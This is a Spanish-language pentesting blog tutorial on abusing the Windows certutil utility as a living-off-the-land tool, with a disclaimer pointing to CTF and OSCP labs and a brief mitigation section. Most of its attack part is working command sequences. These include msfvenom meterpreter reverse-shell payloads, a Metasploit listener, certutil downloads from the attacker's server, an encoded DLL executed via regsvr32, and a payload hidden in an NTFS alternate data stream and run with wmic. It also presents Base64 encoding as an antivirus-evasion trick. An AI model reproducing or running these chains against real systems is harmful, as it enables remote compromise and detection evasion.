Descarga tu guía de trucos informáticos aquí
Hacking Windows Pentester con Certutil
Hacking Windows Pentester con Certutil

Hacking Windows para Pentester: Certutil

En este artículo, vamos a describir la utilidad de la herramienta Certutil y su importancia en las pruebas de penetración de Windows.

Certutil es una herramienta preinstalada en el sistema operativo Windows que se puede utilizar para descargar archivos maliciosos y evadir el antivirus. Es uno de los binarios de Living Off Land (LOL).

Descargo de Responsabilidad

El objetivo principal de publicar este artículo, Windows para Pentester es presentar las circunstancias y cualquier tipo de obstáculo que pueda enfrentar cualquier Pentester mientras resuelve desafíos CTF o laboratorios OSCP basados en el sistema operativo Windows. Cada uno es responsable de sus actos.

1. Conceptos Básicos

1.1. ¿Qué es Certutil?

Certutil es un programa CLI que se puede utilizar para volcar y mostrar la autoridad de certificación (CA), la información de configuración, los servicios de Certificate Server, la copia de seguridad y restauración de componentes de CA y verificar certificados, pares de claves y cadenas de certificados. Se instala como parte de los Servicios de certificados.

1.2. ¿Qué es Living off Land?

En palabras simples, es un ataque que funciona con la idea de usar herramientas del sistema como puertas traseras (backdoors). El ataque fileless (también conocido como ataque zero-footprint o non-malware) es otro ejemplo de ataque LOL. Los atacantes que usan esta táctica trabajan con herramientas confiables, en la mayoría de los casos, preinstaladas del sistema para llevar a cabo su ataque. Los atacantes usan estas tácticas para ocultar su actividad maliciosa a la vista entre la otra actividad general dentro de la red o el sistema.

Intruso

Como este tipo de ataques operan sin activar ninguna alerta, es casi imposible para los investigadores determinar quién está detrás de dicha actividad maliciosa, incluso si la descubren.

1.3. ¿Qué es Alternative Data Stream (ADS)?

El sistema de archivos NTFS consta de la función ADS. Esta es una característica discreta que se incluyó para proporcionar compatibilidad con archivos en el sistema de archivos Macintosh. Los ADS permiten que los archivos incorporen más de una secuencia de datos. En cualquier caso, cada archivo consta de al menos un flujo de datos. Este flujo de datos predeterminado en Windows se reconoce como :$DATA.

El Explorador de Windows no puede ver qué ADS hay en un archivo (o una forma de borrarlos sin descartar realmente el archivo original), pero se pueden crear y acceder con facilidad. Debido a que son difíciles de detectar, los hackers a menudo los usan para ocultar archivos en máquinas que han comprometido. Los archivos ejecutables en ADS pueden ejecutarse desde la línea de comandos pero sin aparecer en el Explorador de Windows.

2. Configuración y ejemplos previos

Atacante:

Objetivo:

  • SO: Windows 10 (compilación 18363)
  • IP: 192.168.1.63

3. Ejemplos previos de ataque


3.1. Ejemplo N°1: Encoding

Certutil contiene un parámetro de codificación (encode). Podría ayudar codificar el contenido del archivo en Base64. Este es un equivalente de Windows al comando base64 en Linux.

Cuando trabajamos con un archivo ejecutable, nos encontramos con un escenario. En él, la carga del archivo ejecutable no fue fácil. Podemos usar certutil para codificar el archivo ejecutable. Entonces transferimos los datos codificados, luego lo decodificamos en la máquina receptora.

En la siguiente práctica, primero creamos un archivo de texto llamado “archivo.txt” y escribimos la línea “Esto es un texto plano“. Lo haré con el cmdlet Add-Content en PowerShell.

Podemos ver que funcionó cuando verificamos el archivo usando el comando type. Para convertir, utilizaremos certutil con el parámetro encode. Le proporcionaremos el archivo de texto y el archivo en el que debe escribir los datos codificados.

Add-Content archivo.txt "Esto es un texto plano"
type .\archivo.txt
certutil -encode archivo.txt codificado.txt
type .\codificado.txt

Certutil agrega dos segmentos “BEGIN CERTIFICATE” y “END CERTIFICATE“. El contenido convertido del archivo está entre estos dos segmentos. Podemos verificar el texto codificado usando el comando type.

Encoding con PowerShell
Encoding con PowerShell

Podemos usar el parámetro -encodehex para convertir datos en archivos codificados Hex.

3.2. Ejemplo N°2: Decoding

Certutil puede decodificar los datos codificados en Base64. Te mostraré un método rápido desde el que puedes decodificar los datos. Utilizaremos el archivo que codificamos en la práctica anterior. Usaremos certutil con el parámetro -decode. Luego proporciona el archivo codificado y el archivo en el que debe escribir los datos decodificados. Podemos verificar el texto decodificado usando el comando type.

type .\codificado.txt
certutil -decode codificado.txt decodificado.txt
type .\decodificado.txt
Decoding con PowerShell
Decoding con PowerShell

Podemos usar el parámetro -decodehex para decodificar los archivos codificados en Hex.

3.3. Ejemplo N°3: Hashing

Hashing significa tomar datos y entregar una cadena de salida de una longitud fija. Utilizando los algoritmos de cifrado de hashing, por ejemplo, MD5, SHA-1, SHA-256, puedes verificar si dos archivos son idénticos o no. La checksum es un valor hash utilizado para realizar comprobaciones de integridad de datos. Es una especie de firma para un archivo. Al comparar la checksum, podemos identificar archivos duplicados.

Es momento de generar algunos hashes. Usaremos el archivo.txt que creamos anteriormente. Primero, generaremos el hash MD5 usando el parámetro certutil -hashfile. Con el parámetro, la ruta del archivo y el algoritmo podemos hacer hash del archivo.

certutil -hashfile ".\archivo.txt" md5
certutil -hashfile ".\archivo.txt" sha1
certutil -hashfile ".\archivo.txt" sha256
Hashing con certutil en Powershell
Hashing con certutil en Powershell

Nota!

Al trabajar con sistemas como Windows 7, ten en cuenta que los algoritmos hash distinguen entre mayúsculas y minúsculas. Asegúrate de escribir, por ejemplo, MD5, y no md5.

3.4. Ejemplo N°4: Descarga

En escenarios, donde wget, BITSAdmin o cualquier otro método de convención está bloqueado, Certutil se puede usar para descargar archivos de Internet. Vamos a descargar 7zip.exe del servidor 7zip como se muestra en la imagen.

certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
dir
Descargar archivos de Internet con Certutil
Descargar archivos de Internet con Certutil

Otros recursos de interés:

3.5. Ejemplo N°5: Lectura de error de código

Supongamos que tienes un código de error del sistema sin ningún mensaje. No tienes ninguna fuente para buscar el significado del error. Este es un escenario común. Certutil puede ayudar a buscar el texto del mensaje para los códigos de error del sistema.

certutil -error 8200
certutil -error 0x200
Leer mensajes de error en PS con Certutil
Leer mensajes de error en PS con Certutil

Nota!

Certutil puede realizar muchas más funciones relacionadas con los certificados de CA, pero por ahora nos centraremos en las pruebas de penetración.

4. Pruebas de penetración utilizando Certutil

4.1. Ejemplo N°6: Comprometer sistema con ejecutable malicioso

Durante nuestra evaluación inicial, vimos que certutil estaba descargando activamente archivos de Internet sin ningún tipo de verificación o evaluación. Esta es una instancia que forma parte del MITRE | ATT&CK Remote File Copy Tactic (una táctica de Mando y control o C&C).


Certutil se puede utilizar para copiar un archivo de un sistema a otro para organizar algunas herramientas de ataque u otros archivos durante un ataque. Los archivos también se pueden transferir desde un sistema externo controlado por el atacante a través de un Canal de Comando y Control para llevar herramientas o secuencias de comandos a la red objetivo para apoyar el Lateral Movement.

Veamos cómo podemos comprometer un sistema de Windows usando un ejecutable malicioso.

Anteriormente:

Comenzamos nuestro ataque con Exploit Development. Utilizamos la herramienta msfvenom para generar una carga útil o payload para una conexión TCP inversa a nuestra máquina atacante. Proporcionamos msfvenom con el LHOST y LPORT apropiados. El formato de la payload se estableció en un archivo ejecutable (.exe). Lo llamaremos “shell.exe“. Después de una ejecución exitosa, el archivo se creará en el directorio “/root“. Ahora para transferir el .exe recién generado, podemos usar el Servidor HTTP generado por un Python One-liner.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f exe > shell.exe
python -m SimpleHTTPServer 80
Crear payload con msfvenom
Crear payload con msfvenom

Ahora que la payload está alojada en el servidor, antes de ejecutar la payload en la máquina de destino (víctima), necesitamos iniciar un oyente en la máquina atacante para capturar la sesión de meterpreter que se generaría después de la ejecución de la payload.

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.51
set lport 1234
exploit
Capturar sesión de meterpreter Windows
Capturar sesión de meterpreter Windows

Comprometiendo máquina de la víctima

Después de iniciar con éxito un escucha en el atacante, es hora de pasar a la máquina de destino. Aquí tenemos un terminal PowerShell. Necesitamos descargar la payload a esta máquina. Usaremos certutil para buscarlo. Certutil realizará dos conexiones al servidor web remoto utilizando dos agentes de usuario diferentes. Se denominarán “Microsoft-CryptoAPI” y “Certutil URL Agent“.

Nota!

Es posible que al ejecutar el comando anterior se notifica un Error de acceso denegado. El uso de -verifyCTL en lugar de -URLCache te permitirá evitar este error.
certutil.exe -urlcache -split -f http://192.168.1.51/shell.exe shell.exe
.\shell.exe

Después de la transferencia exitosa de la payload a la máquina de destino. Ejecutamos la payload como se muestra en la imagen.

Descargar payload con certutil
Descargar payload con certutil

Regresamos a nuestra máquina atacante para ver que nuestro oyente genera y captura una instancia de meterpreter. Ejecutamos sysinfo para ver los detalles del sistema de destino.

sysinfo
Instancia de meterpreter Windows 10
Instancia de meterpreter Windows 10

Hemos comprometido con éxito la máquina de destino utilizando una combinación de Certutil y un ejecutable malicioso.

4.2. Ejemplo N°7: Comprometer sistema con DLL maliciosa codificada

Como se vio anteriormente, Certutil codifica el contenido del archivo en Base64. Esto abre muchas posibilidades. Esta es una instancia que forma parte de MITRE | ATT&CK Deobfuscate/Decode Files o táctica de información.

Los atacantes pueden usar archivos ofuscados (difíciles de detectar/encontrar) para ocultar la evidencia de un ataque del análisis. Después, pueden desobuscar (mostrar) esos archivos. Aquí es donde entra en juego certutil. Puedes decodificar los datos y ayudar a evitar el antivirus, el software IDS/IPS. Certutil también se puede usar para decodificar un archivo ejecutable portátil que se ha ocultado dentro de un archivo de certificado.

Las cargas útiles (Payloads) se pueden comprimir, archivar o cifrar para evitar la detección.

Utilizaremos la herramienta msfvenom para generar una payload para una conexión TCP inversa a nuestra máquina atacante. Proporcionaremos msfvenom con el LHOST y LPORT apropiados. El formato de la payload lo establecemos en un Archivo de biblioteca de enlace dinámico (.dll). Lo llamaremos “dll.txt“. Podemos nombrarlo con cualquier otro nombre que sea menos sospechoso. Usamos el archivo de texto para que no levante ningún indicador innecesario. Después de una ejecución exitosa, el archivo se crea en el directorio “/root“. Ahora para transferir el archivo recién generado, podemos usar el Servidor HTTP generado por un Python One-liner.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f dll > dll.txt
python -m SimpleHTTPServer 80

Ahora que la payload está alojada en el servidor, antes de ejecutar la payload en la máquina de destino, necesitamos iniciar un oyente en la máquina atacante para capturar la sesión de meterpreter que se generaría después de la ejecución de la payload.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.51
set lport 1234
exploit
Capturar sesión de meterpreter con DLL
Capturar sesión de meterpreter con DLL

Comprometiendo máquina de la víctima

Después de iniciar con éxito un oyente en el atacante, es hora de pasar a la máquina de destino. Aquí tenemos un terminal PowerShell. Necesitamos descargar la payload a esta máquina y debemos hacerlo discretamente. Ejecutamos certutil con una combinación de URLCacheencode separada por pipe (|). Ahora el archivo se descargará como un archivo de texto y se codificará como otro archivo de texto que llamamos “edll.txt” para el DLL codificado.

certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt

Ahora para ejecutar la payload para comprometer a la víctima, tenemos que decodificarla. Usamos el parámetro decode en certutil para decodificar la payload y la guardamos como “exploit.dll“. Ahora para ejecutar esta DLL, usaremos regsvr32. Ejecuta DLL directamente en la memoria.

certutil -decode .\edll.txt exploit.dll
regsvr32 /s /u .\exploit.dll
Ejecutar ddl con regsvr32
Ejecutar ddl con regsvr32

Regresamos a nuestra máquina atacante para ver que nuestro oyente genera y captura una instancia de meterpreter. Ejecutamos sysinfo para ver los detalles del sistema de destino.

Comprometer Windows con ejecutable malicioso codificado
Comprometer Windows con ejecutable malicioso codificado

Hemos comprometido con éxito la máquina de destino utilizando una combinación de Certutil y un ejecutable malicioso codificado.

Evitando Antivirus

Mientras hablábamos sobre evadir el software antivirus. Inspeccioné los archivos que generé y usé para intentar comprometer el objetivo. Utilicé VirusTotal para este análisis. Primero inspeccionamos el “dll.txt“. Tras la carga y el análisis exitoso del dll.txt, el resultado de detección fue de 54 de los 67 motores antivirus. Eso no puede ser bueno.

Por lo tanto, la inspección del archivo dll.txt no fue aceptable. Luego probé el archivo que codificamos usando certutil. Fue el turno de el edll.txt. Tras el análisis de edll.txt, el resultado de detección fue de 4 de los 56 motores antivirus. No es perfecto pero es una gran diferencia.

Otro sabor de este ataque puede ser como se muestra a continuación:

  1. Crea una carga útil en forma de ejecutable (payload.exe).
  2. Utiliza certutil para codificarlo a un binario específico. Por ejemplo, “payload.enc”.
  3. Luego, publica el resultado del proceso de codificación en Github, Pastebin u otros servicios alternativos.El propósito de este procedimiento es separar la carga útil codificada para evitar la detección.
  4. Ahora usa el certutil en la máquina de destino para descargar el contenido del servidor remoto (Github/Pastebin).
  5. Finalmente, decodifica la carga útil maliciosa en una extensión ejecutable usando Certutil y ejecútala para comprometer el objetivo.

4.3. Ejemplo N°8: Comprometer sistema con ejecutables maliciosos dentro de ADS

Nuevamente utilizamos la herramienta msfvenom para generar una payload para una conexión TCP inversa a nuestra máquina atacante. Proporcionamos msfvenom con el LHOST y LPORT apropiados. El formato de la carga se estableció en un archivo ejecutable (.exe). Lo llamamos “virus.exe“. Después de una ejecución exitosa, el archivo se crea en el directorio “/root“. Ahora para transferir el archivo recién generado, podemos usar el Servidor HTTP generado por un Python One-liner.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=443 -f exe > "virus.exe"
python -m SimpleHTTPServer 80
msfvenom con archivo ejecutable ADS
msfvenom con archivo ejecutable ADS

Ahora que la payload está alojada en el servidor, antes de ejecutar la payload en la máquina de destino, necesitamos iniciar un oyente en la máquina atacante para capturar la sesión de meterpreter que se generaría después de la ejecución de la payload.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.51
set lport 1234
exploit

Comprometiendo máquina de la víctima

Esta vez usaremos un enfoque completamente diferente. Vamos a utilizar el Flujo alternativos de datos (Alternative Data Stream). ADS fue creado por Microsoft para admitir la compatibilidad con el sistema de archivos de Apple McIntosh. En Mac, los archivos tienen una gran cantidad de metadatos además de datos regulares. Para guardar el archivo exe en ADS, debemos especificar el nombre del archivo en cuyo ADS queremos guardar otro archivo, luego (:) seguido por el nombre y la extensión de otro archivo. Como se muestra, guardamos el virus.exe dentro de los ADS del archivo harmless.txt.

certutil.exe -urlcache -split -f http://192.168.1.51/virus.exe harmless.txt:virus.exe
Ocultar virus con ADS
Ocultar virus con ADS

Aquí, se puede observar que no hay un archivo llamado virus.exe en el directorio y que el tamaño de harmless.txt es 0 y que no contiene nada, ya que originalmente era un archivo de texto vacío.

Archivo harmless vacío
Archivo harmless vacío

Ahora para ejecutar el archivo que pusimos en los ADS; estaremos usando wmic. Utilizaremos el indicador create seguido de la ruta de la payload como se muestra en la imagen. Dice que la ejecución fue exitosa.

wmic process call create "c:\harmless.txt:virus.exe"
Ejecutar ADS con wmic
Ejecutar ADS con wmic

Regresamos a nuestra máquina atacante para ver que nuestro oyente genera y captura una instancia de meterpreter. Ejecutamos sysinfo para ver los detalles del sistema de destino.

Pentesting Windows con ADS y certutil
Pentesting Windows con ADS y certutil

Hemos comprometido con éxito la máquina de destino utilizando una combinación de Certutil y un ejecutable malicioso oculto en una Alternative Data Stream.

5. Mitigación y Resumen

View this post on Instagram

🏹 METASPLOIT + CERTUTIL = HACKING WINDOWS 😈 . . 🇺🇸 In the following article I will describe the Certutil tool and its importance in Windows pentesting. . Through 3 techniques, we compromise the Windows system to have remote access to the machine. I will also show a trick to avoid being detected by antivirus. . Surely a fun and challenging experience to work with certutil. Yes, this is for you Ethical Hacker. . 🖊️ Explanation of the tutorial, with details and screenshots: . ↗️ https://esgeeks.com/?p=7766 . . 🇪🇸 En el siguiente artículo describiré la herramienta Certutil y su importancia en las pruebas de penetración (pentesting) de Windows. . A través de 3 técnicas, comprometemos el sistema Windows para tener acceso remoto a la máquina. También mostraré un truco para evitar ser detectado por los antivirus. . Sin duda una experiencia divertida y desafiante trabajar con certutil. Sí, esto es para ti Ethical Hacker. . 🖊️ Explicación del tutorial, con detalles y capturas de pantalla: . ↗️ https://esgeeks.com/?p=7766 . . . #metasploit #meterpreter #msfvenom #exploit #payload #esgeeks #alexynior #hacking #hack #windows #hackingwindows #pentesting #pentester #pentes #hackingtraining #ethicalhacking #hackingetico #hackingespañol #msfconsole #tech #cybersecurity #seguridadinformatica #computersecurity

A post shared by ESGEEKS (@esgeeks) on


Como hemos visto, herramientas como certutil pueden ser utilizadas por un atacante con acceso físico a la máquina o por código malicioso descargado sin saberlo ya sea por un usuario después de un ataque de phishing u otro ataque de ingeniería social.

Se debe monitorear el uso de Certutil, particularmente si se detecta que se está utilizando con las opciones -decode o -decodeHex donde eso normalmente no se esperaría en tu red. Es primordial no depender de herramientas que simplemente incluyan en la lista blanca el código incorporado o firmado, ya que obviamente se evitarán mediante tales técnicas de Living Off the Land (LOL).

Este tipo de ataque está sucediendo mucho en la vida real. Ha habido múltiples incidentes dirigidos a diferentes entornos de oficina, así como a bancos. Fue una experiencia de aprendizaje divertida trabajar con certutil.

Si te gusta el contenido y deseas apoyar a la mejora del sitio web, considera hacer una contribución ¡haciendo clic aquí por favor!. ¡NO ES OBLIGATORIO, GRACIAS! 🙂

¿Te ha gustado este artículo? Sígue este blog en su fanpage de  FacebookTwitterInstagram y/o YouTube para que no te pierdas del mejor contenido informático y hacking!

Más artículos
USB como memoria RAM
Cómo utilizar un USB como memoria RAM